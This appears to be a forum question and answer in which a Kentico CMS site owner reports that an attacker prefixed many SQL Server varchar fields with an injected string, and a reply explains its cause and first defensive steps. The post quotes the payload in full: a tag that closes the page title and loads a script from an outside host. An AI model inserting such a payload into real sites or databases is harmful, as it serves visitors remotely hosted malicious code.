My site is created in Kentico CMS 5.5 and SQL server 2008. Its running successfully but now these days any one of hacker hack my site and after a long time i found that in many of tables hacker add
></title><script src="http://lilupophilupop.com/sl.php"></script><!--
line in before of ever varchar cell. Suppose i have user table in that case before username it adds this string, before user’s email-ID it adds this same string. How i can prevent my sql server by using this hacking. And what is the reason behind this?
First, you need to find out how the hacker got the data into your database (SQL injection, weak account password, …). Then you can take appropriate actions.
The hacker hopes that the varchar field is printed on a web page without being properly encoded first. If that happens, the user’s browser will download and execute the script.